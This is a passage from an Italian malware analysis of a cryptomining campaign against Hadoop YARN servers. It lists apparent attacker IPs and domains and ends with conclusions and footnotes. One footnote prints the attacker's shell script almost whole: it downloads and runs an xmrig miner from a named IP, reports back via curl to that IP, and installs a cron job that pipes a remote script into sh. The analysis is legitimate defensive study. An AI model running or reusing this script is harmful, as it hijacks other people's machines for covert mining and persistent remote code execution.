46.30.45.91 (vz220153.eurodir.ru) |
46.30.47.115 (vz227413.eurodir.ru) |
46.30.47.157 (vz228859.eurodir.ru) |
95.142.39.109 (vz228627.eurodir.ru) |
95.142.39.151 (donotopen.ru) |
95.142.39.164 (vz232259.eurodir.ru) |
95.142.39.172 (hosted-by.wikhost.com) |
95.142.39.241 (shimshim.info) |
95.142.39.251 (vz232259.eurodir.ru) |
95.142.40.188 (vz232259.eurodir.ru) |
95.142.40.189 (vz232259.eurodir.ru) |
95.142.40.190 (vz232259.eurodir.ru) |
95.142.40.44 (vz229990.eurodir.ru) |
95.142.40.74 (vz232259.eurodir.ru) |
95.142.40.81 (vz228855.eurodir.ru) |
95.142.40.82 (vz228856.eurodir.ru) |
95.142.40.83 (vz228857.eurodir.ru) |
95.142.40.86 (kolos1952.ru) |
95.142.40.87 (regiister.ru) |
95.142.40.88 (buled.ru) |
95.142.40.89 (vz229526.eurodir.ru) |
95.142.39.233 (vz231616.eurodir.ru) |
185.154.53.46 (server.badstudio.ru) |
46.30.47.107 (vz227413.eurodir.ru) |
46.30.47.21 (vz227411.eurodir.ru) |
46.30.47.35 (vz227411.eurodir.ru) |
46.30.47.66 (vz227407.eurodir.ru) |
46.30.47.82 (vz227413.eurodir.ru) |
95.142.39.102 (vz222177.eurodir.ru) |
Conclusioni
Per coloro che sono arrivati fino alla fine è doveroso concludere, sottolineando come sono stati utilizzati sistemi operativi standard quali Ubuntu e Windows 7.
L’intero processo è stato replicato anche su Sistemi Operativi come quelli sopra citati con esito positivo e si potrebbe presumere anche dispositivi IoT.
Ritengo che sia molto complicato attualmente interrompere o addirittura accorgersi di una minaccia simile se rivolta agli IoT, dalla scarsa conoscenza dei sistemi di base, alla poca sicurezza degli stessi ma soprattutto agli scarsi sistemi di sicurezza che possiamo verso utilizzare per la gestione degli IoT di uso quotidiano.
Purtroppo non ho effettuato alcun test su nessun IoT, quindi non posso affermare con certezza il corretto funzionamento dell’intero processo descritto.
Vorrei concludere, con una provocazione, sottolineando un ulteriore aspetto riguardante l’uso dei cryptominer. Infatti non si può escludere che il Cyber Crime utilizzi i cryptominer per sovvenzionare campagne malware molto più sofisticate come quelle inerenti gli APT12 anche di origine parastatale, considerando la possibilità di autofinanziarsi con il beneplacito del governo per cui il gruppo “hacker” lavora o con cui ha delle collaborazioni. I fattori relativi al completo anonimato dalle Operazioni nel dominio Cyber, permettono, elevati margini di deception, rendendo tali attività particolarmente remunerative dal punto di vista Intelligence, attraverso la possibilità di gestire agevolmente False Flag Operations e di “indirizzare” la attribuzione verso entità terze estranee alle stesse.
Infine, un’ultima considerazione sulla difficoltà legata alla esecuzione di queste analisi. La difficoltà che i lettori potrebbero aver trovato nel leggere l’analisi è lo specchio della difficoltà nell’eseguirla, se però si vuole giocare con un ruolo non marginale nello scacchiere cyber è fondamentale avere persone preparate e consapevoli, capaci di analizzare e porre in essere i rimedi necessari sui sistemi reali, generalmente molto più complessi di quello da me creato per fini didattici.
1 HDFS: con HDFS si intende Hadoop Distributed File System. Si tratta di un File System realizzato con una nuova tecnologia Open Source chesupporta un sistema gerarchico di file e directory che vengono distribuiti sui nodi di storage gestiti da Hadoop. Per approfondire: https:// www. zerounoweb.it/techtarget/searchdatacenter/hadoop-significa-rendere-piu-economico-il-big-data-management-ecco-come/
2 API REST: Application Programming Interface REpresentational State Transfer. Nel complesso si tratta di indicazioni dello sviluppatore del codice utili per stabilire come devono essere trasmessi dei dati impiegati dall’applicazione.
3 In generale si parla di honey pot quando ci si riferisce a qualcosa creato appositamente per attirare un attaccante, in pratica si tratta di una trappola creata per far si che un attaccante si riveli.
4 Con il termine mining si intende genericamente l’esecuzione di calcoli al fine di creare cryptocurrency attraverso l’esecuzione di calcoli complessi.
5 Un crawler è un software che analizza in modo automatico una rete alla ricerca di vulnerabilità.
6 Uno script non è altro che un file contenente una sequenza di comandi.
7 In particolare, si può vedere chiaramente come si scarica ed esegue uno script chiamato cr.sh dall’indirizzo IP 185.222.210.59 e si utilizza il comando sh & disown, cioè si esegue il processo all'interno dell'istanza di bash corrente del terminale, in background, ma il processo è staccato dall'elenco jobs di bash (cioè il processo non è elencato come un bash job in primo piano/background); pertanto viene utilizzato per cancellare / rimuovere dei jobs o per dire alla shell di non inviare un segnale HUP usare il comando disconoscimento.
8 pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmr-stak
pkill -f suppoie
#ps ax|grep /tmp/yarn|grep -v grep|xargs kill -9
Questa parte del codice riguarda principalmente il processo di data mining esistente, i documenti da pulire, i processi da terminare, abbiamo però immediatamente un importante indizio, cryptonight (vedremo successivamente).
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget -O";
fi
f2="185.222.210.59"
Questa seconda parte, verifica e assegna alcune variabili, determinare se esistono i comandi curl e wget e, in caso affermativo, assegnarli alla variabile WGET, f2 assegna un valore IP.
In effetti, f2 è uno dei server utilizzati per scaricare i file correlati all’attività malevola in corso.
downloadIfNeed()
{
if [ ! -f /tmp/java ]; then
echo "File not found!"
download
fi
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum /tmp/java | awk '{ print $1 }')
echo $sum
case $sum in
c8c1f2da51fbd0aea60e11a81236c9dc | 5110222de7330a371c83af67d46c4242)
echo "Java OK"
;;
*)
echo "Java wrong"
sizeBefore=$(du /tmp/java)
if [ -s /usr/bin/curl ];
then
WGET="curl -k -o ";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget --no-check-certificate -O ";
fi
$WGET /tmp/java https:// transfer.sh/ixQBE/zzz
sumAfter=$(md5sum /tmp/java | awk '{ print $1 }')
if [ -s /usr/bin/curl ];
then
echo "redownloaded $sum $sizeBefore after $sumAfter " `du /tmp/java` > /tmp/tmp.txt
curl -F "file=@ /tmp/tmp.txt" http://$f2/re.php
fi
;;
esac
else
echo "No md5sum"
download
fi
}
download() {
f1=$(curl 185.222.210.59/g.php)
if [ -z "$f1" ];
then
f1=$(wget -q -O - 185.222.210.59/g.php)
fi
if [ `getconf LONG_BIT` = "64" ]
then
$WGET /tmp/java http://$f1/xmrig_64
else
$WGET /tmp/java http://$f1/xmrig_32
fi
}
if [ ! "$(ps -fe|grep '/tmp/java -c /tmp/w.conf' |grep -v grep)" ];
then
downloadIfNeed
chmod +x /tmp/java
$WGET /tmp/w.conf http://$f2/w.conf
nohup /tmp/java -c /tmp/w.conf > /dev/null 2>&1 &
sleep 5
rm -rf /tmp/w.conf
else
echo "Running"
fi
if crontab -l | grep -q "185.222.210.59"
then
echo "Cron exists"
else
echo "Cron not found"
LDR="wget -q -O -"
if [ -s /usr/bin/curl ];
then
LDR="curl";
fi
if [ -s /usr/bin/wget ];
then
LDR="wget -q -O -";
fi
(crontab -l 2>/dev/null; echo "*/2 * * * * $LDR http:// 185.222.210.59/cr.sh | sh > /dev/null 2>&1")| crontab -
fi
Questa terza parte del codice determina principalmente se /tmp/java è un file che esiste e può essere scritto, quindi determinare se il valore MD5 corrisponde ad uno dei valori MD5 presenti nel codice (vedremmo più avanti l’appartenenza dei due hash file). Nello script, viene assegnata la variabile LDR. Questa variabile viene principalmente utilizzata per scaricare la directory per la memorizzazione di programmi di mining e di altro tipo, tramite i comandi wget o curl, a seconda se presente un comando o l’altro nel sistema ospite. Questa parte del codice è il nucleo centrale del codice, scarica se necessario (con il metodo downloadIfNeed) ed estrae, nella directory /tmp rinominado in java l’eseguibile per il data mining (controllando grazie a getconf LONG_BIT se l’eseguibile deve essere a 32 o 64 bit), scarica il file di configurazione w.conf, aggiunge le autorizzazioni di esecuzione al programma di mining e quindi esegue il comando nohup background mining (nohup è un comando che fa ignorare il segnale SIGHUP, in modo da far permettere la prosecuzione dell'esecuzione anche in caso di una disconnessione dal terminale, o della chiusura dell'emulatore di terminale).
Programmare ed eliminare il file di configurazione, quindi controllare le attività in crontab, se non esiste un'attività corrispondente, scaricherà l'attività per eseguire lo script "*/2 * * * * $LDR http:// 185.222.210.59/cr.sh | sh > /dev/null 2>&1" aggiunto ad esso, dove $ LDR è wget -q -O - o curl (citato anche in precedenza), l'attività viene eseguita una volta ogni due minuti (come si evince in figura, riportando le opzioni dei campi che specificano la frequenza dell’esecuzione del comando).
Lo script contiene metodi di download per diverse chiamate annidate. Il metodo di immissione risulta essere downloadIfNeed. Specificando meglio, la funzione principale di questo metodo è verificare MD5 del programma di data mining esistente, se non può essere verificato o il file non esiste, chiamare direttamente il metodo di download (secondo metodo ritrovato nello script) per scaricare il programma di mining Se il file esiste ma MD5 non corrisponde correttamente, chiamare il metodo di download. Dopo aver verificato nuovamente, se la verifica non riesce, provare a scaricare il programma di mining da un altro canale di download https:// transfer.sh/WoGXx/zzz e verificare di nuovo. Infine, i risultati rilevanti sono riportati al re.php del server di destinazione $ f2.
Se esiste, il nome di replica è java.
Il metodo download() giudica che il sistema scarica la versione corrispondente del programma di mining dalla seguente risorsa web: http:// 185.222.210.59/g.php.
La risorsa restituisce un altro indirizzo IP per il download dell’eseguibile principale, una volta completato il download, viene nuovamente verificato e la copia viene rinominata in ppc.
pkill -f logo4.jpg
pkill -f logo0.jpg
pkill -f logo9.jpg
crontab -l | sed '/logo4/d' | crontab -
crontab -l | sed '/logo9/d' | crontab -
crontab -l | sed '/logo0/d' | crontab -
Nell'ultima parte dello script ci sono alcuni processi, file, processi di pulizia di crontab, uso di pkill per terminare il processo che soddisfa le condizioni ed eliminare alcune attività in crontab.
9 Open Source Information
10 https:// community.hortonworks.com/questions/189402/why-are-there-drwho-myyarn-applications-running-an.html oppure https:// stackoverflow.com/questions/50520658/its-seem-that-the-yarn-is-infected-by-trojan-even-if-i-reinstall-my-computer
11 Remote Procedure Call, è un meccanismo generale per la gestione di applicazioni client-server.
12 Advanced and Persistent Threath, tipologia di attacchi generalmente portati avanti da organizzazioni di tipo statuale.
(foto: U.S. DoD)